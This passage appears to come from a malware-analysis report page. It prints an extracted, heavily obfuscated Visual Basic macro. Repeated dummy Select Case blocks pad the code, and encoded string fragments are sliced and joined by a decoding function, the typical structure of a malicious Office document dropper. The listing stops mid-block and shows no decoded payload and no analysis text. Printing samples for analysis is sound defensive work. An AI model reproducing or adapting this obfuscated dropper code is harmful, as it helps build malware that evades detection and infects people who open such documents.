AzjRiv = ARZNaY
zzmKvG = ChrW(njhciP)
End Select
Select Case PozOw
Case 80076
zBaCZw = Fix(4264)
jirYc = Int(16909)
Case 66545
iVFXc = poVmEY
jiCICz = ChrW(Csikf)
End Select
mzBHOiDD = ItAFi + IzpOEi("65wAANAIGAlBQMAcDA5AgYAUGAkBANAMGAhBgYAkDA1AwYAkDAkBwYAQGA0AAOAkDA0AgYAkDAxAANAUDAhBAZAYGAxAANAIDAjBAOAQDAyAQZAMDAiBANAgDA1AgNAADAiBgNAYGAzAAOAQGAwAwNAMDA0AgYAMGAjBQYAUDAzAArp2cARi[Qdw5adiOjiLzwz", 23, 171)
Select Case PozOw
Case 80076
zBaCZw = Fix(4264)
jirYc = Int(16909)
Case 66545
iVFXc = poVmEY
jiCICz = ChrW(Csikf)
End Select
Select Case BYlaO
Case 870
Soizp = Fix(36140)
XrBCu = Int(91219)
Case 59350
APWFrj = RLwsaQ
oVzqn = ChrW(HfHNm)
End Select
rFMwZTwfdp = zkzBdH + IzpOEi(".NOUC2$z6iwpIb%AzAwMAQGAiBgMAkDAxAQNAMGA4AAOAADAkBAZAXXE", 4, 38)
Select Case BYlaO
Case 870
Soizp = Fix(36140)
XrBCu = Int(91219)
Case 59350
APWFrj = RLwsaQ
oVzqn = ChrW(HfHNm)
End Select
Select Case aKOwBr
Case 9848
sQjnHC = Fix(27647)
ZzlCm = Int(30417)
Case 74507
AnXOOR = stdfiv
XWcZnd = ChrW(dYPYHU)
End Select
ajvwaEiOISd = EjdXs + IzpOEi("%j8DU<qHjJ6jYrGA3AgZAIDAlBgYAQGA0AQNAQDAhBwYV(FYJn7jLj.zJS]zwMXis", 22, 30)
Select Case aKOwBr
Case 9848
sQjnHC = Fix(27647)
ZzlCm = Int(30417)
Case 74507
AnXOOR = stdfiv
XWcZnd = ChrW(dYPYHU)
End Select
Select Case fitqw
Case 38811
qUCUY = Fix(10329)
ipJMj = Int(10404)
Case 77516
uTEvl = odszua
UdJZOt = ChrW(CjIToU)
End Select
WBbHDLMGzGt = nWILYU + IzpOEi("S<XdSYXExAQZAEGAzAgYAADA0AQNAcDA1AQOAMDA5AQNAkDAhBQZAMDAkBwYAMGA4AQYAYDA1AQZAkDAlBANAYDA4AQYAYDAjBwYAIGAyAQYAADAjBQNAgDA2AwYAcDAjBwYAIDAwHWs[tIR19v2EDwNEj)!2QdC", 24, 129)
Select Case fitqw
Case 38811
qUCUY = Fix(10329)
ipJMj = Int(10404)
Case 77516
uTEvl = odszua
UdJZOt = ChrW(CjIToU)
End Select
Select Case QbBIFh
Case 15613
jWpRl = Fix(45321)
uHAqYw = Int(57700)
Case 84056
qEbWdB = NGYrQb
CdETsk = ChrW(SDJQhc)
End Select
JHrUFXqc = cIdklNP + IzpOEi("$qXJ<UAYGAjBANAQGAwAAZAQGA3AgNAEGAhBQOAgDAyAgZAEGAzAQYAADA4AwYAEGAjBgMAUDAmBgYAIGAhBQMAYDAmBQNAEGAwAAZAYGA2AQMAEGAkBwYAEGAhBANAMGAxAQMAUGAxAgYAEDAyAgNAEGAxAAZAUDAiBgZAEGAiBAMAMDA3AAMAEGA4AAOAEGAyAw2(2%fsrdEzYn$qqPK%27", 21, 191)
Select Case QbBIFh
Case 15613
jWpRl = Fix(45321)
uHAqYw = Int(57700)
Case 84056
qEbWdB = NGYrQb
CdETsk = ChrW(SDJQhc)
End Select
Select Case FvjoD
Case 80911
lQGJB = Fix(83803)
ZijMKw = Int(68784)
Case 26840
wzBYmP = tTnBOk
rtwoTw = ChrW(QOKTfB)
End Select
GWAELwfC = pzwmjNS + IzpOEi("djLwa@LIaIGAkBQNAcDAwAAOAMDAzAwYAgDA3AgNAMDAzAwYAgDAzAAZAMD6i3", 4, 50)
Select Case FvjoD
Case 80911
lQGJB = Fix(83803)
ZijMKw = Int(68784)
Case 26840
wzBYmP = tTnBOk
rtwoTw = ChrW(QOKTfB)
End Select
Select Case IijPNc
Case 88565
FnvqS = Fix(95536)
orpwW = Int(87770)
Case 56009
piizW = ARkUdI
XKRMA = ChrW(jpjMz)
End Select
kmjFwj = LMMXr + IzpOEi("FLDAiBAOAEDAjBAZAUGAhBwMAMDAhBANAADA0AAOAYGAiBAZAUDAlBgMAgDA4AAZAYDAkBAOAMDA4AgZAIDA3AwYAUDA2AAOAQDA4AQZAEGA2AQOAkDA3AQYAIGA3AgNAIGAjBAp<WwTjMj3N6ItdsAiN@o<o5DBlT)LnwAs", 34, 133)
Select Case IijPNc
Case 88565
FnvqS = Fix(95536)
orpwW = Int(87770)
Case 56009
piizW = ARkUdI
XKRMA = ChrW(jpjMz)
End Select
Select Case KXFUG
Case 5145
jfCPzY = Fix(13549)
dRiav = Int(11933)
Case 57388
QTqVdH = zDDmK
ijDKCj = ChrW(lkLzJ)
End Select
QNCpm = zcFuCA + IzpOEi("5GjbnkBAOAQGA0AAMAQDA0AgZAkDAyAQMAcDAlBgYAcDA1AQMAcDAxAAOAQGAxAQMAEGAiBwNAYDA4AgNAADA5AQOAIDAmBgMAMGA4AwYAcDAxAQNAMGA4AwYAUGAiBQOAcDAlBQMAIDAhBgYAMDA2AgYAMDAwAQZAQGA5AQYAUDAzAwMAQDAjBAMAUDAiBwY96@cQhXziFAb[q", 15, 188)
Select Case KXFUG
Case 5145
jfCPzY = Fix(13549)
dRiav = Int(11933)
Case 57388
QTqVdH = zDDmK
ijDKCj = ChrW(lkLzJ)
End Select
Select Case GJVLip
Case 48050
YNAFWz = Fix(23920)
hNKRmf = Int(19909)
Case 26865
vvGNT = sAzkZ
UhbBjZ = ChrW(fwiDYO)
End Select
GdCNINjFqw = bQMNjQ + IzpOEi("w2jE(Du%n]%HS2lDQoFvcELSlqUoCAIGA0AQYAQDAjBgYAMDA3AQMAkDA4AQYAgDAmBwMAYGAhBQNAMDA3AQZAEGAkBQZAIGAzAgNAQGA0AAZAkDAwAQZAADAiBQ<D1", 4, 95)
Select Case GJVLip
Case 48050
YNAFWz = Fix(23920)
hNKRmf = Int(19909)
Case 26865
vvGNT = sAzkZ
UhbBjZ = ChrW(fwiDYO)
End Select
Select Case TCCkYw
Case 65806
vhEXU = Fix(86733)
Ajabj = Int(31342)
Case 58988
UbiRdR = qkvvi
VziTm = ChrW(VGLQJ)
End Select
HJtOo = IlutbzH + IzpOEi("Zlj50AAOAMDAwAQOAMDAhBQYAYDA1AwNAkDA5AAOAIGAlBQMAcDAhBgNAUGAlBgMAcDAlBQOAEDAlBgMCjFwiwAQpOnTszbAr(w]NYk", 24, 76)
Select Case TCCkYw
Case 65806
vhEXU = Fix(86733)
Ajabj = Int(31342)
Case 58988
UbiRdR = qkvvi
VziTm = ChrW(VGLQJ)
End Select
Select Case DwbIi
Case 22445
GDNwl = Fix(95274)
tzjjWj = Int(30897)
Case 41808
ikJUn = hslKvs
pvVNw = ChrW(bqcWJA)
End Select
fBIfIYjOHKH = DWrzW + IzpOEi("Ym<w2aBwNAUGAkBANAQGAjBQZAMDAxAAOAUGAlBgNAEGA3AAMAADAwX<YIvbSa", 10, 47)
Select Case DwbIi
Case 22445
GDNwl = Fix(95274)
tzjjWj = Int(30897)
Case 41808
ikJUn = hslKvs
pvVNw = ChrW(bqcWJA)
End Select
Select Case XodajI
Case 43178
qlhVUW = Fix(53056)
VMlpar = Int(4569)
Case 58945
WdWvbS = KnYjqh
ziCuA = ChrW(zkwtzN)
End Select
juIAoY = OtAWiu + IzpOEi("i<_YfS(E1jjG.#1wz[jjNGAzAQYAIDA0AwMAUDAjBgYAkDA1AQMAMGA(X6a!6sI!wiX", 13, 34)
Select Case XodajI
Case 43178
qlhVUW = Fix(53056)
VMlpar = Int(4569)
Case 58945
WdWvbS = KnYjqh
ziCuA = ChrW(zkwtzN)
End Select
Select Case rrCGm
Case 1093
JSkpz = Fix(75109)
EWtKUp = Int(30216)
Case 59108
fGDiKw = XpfrEB
XuAHw = ChrW(FJLwm)
End Select
bFLXoS = iBKjm + IzpOEi("(FAUGAjBAMAcDA3AAZAkDA0AgMAcDA4AwYAYDAmBQMAEGAlBgYAMGAyAgMAUGA4AQOAYDA2AQOAIDAkBAMAEGA4AQOAQGA4AwNAMDA3AgZAUGAzAQOAYGA0AQYAUDA5AQMAEDA2AAOAQGAzAwYAkDAjBQZAMDAlBAOAYGAyAQOAUGAI0f9[$cFCFw", 12, 172)
Select Case rrCGm
Case 1093
JSkpz = Fix(75109)
EWtKUp = Int(30216)
Case 59108
fGDiKw = XpfrEB
XuAHw = ChrW(FJLwm)
End Select
Select Case PfHjw
Case 6036
NSNuMm = Fix(22023)
DTkhk = Int(63594)
Case 51538
FwPRj = nKHTAR
BpLHwm = ChrW(GiqCK)
End Select
GFowjQjU = fXJlPF + IzpOEi("Y8qwAgZAEDAmBQNAADA3AwMAADAjBgZAYGAiBQOAUDAkBwMAEDA0AwNAMDAmBAMAQDA4AgMAIGAiBgNAQGAzAQOAUGA4AAMAMGA4AAMAQDA0AANAgDAlHm(Yw%kw.vWX", 13, 113)
Select Case PfHjw
Case 6036
NSNuMm = Fix(22023)
DTkhk = Int(63594)
Case 51538
FwPRj = nKHTAR
BpLHwm = ChrW(GiqCK)
End Select
Select Case knsBKq
Case 74468
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.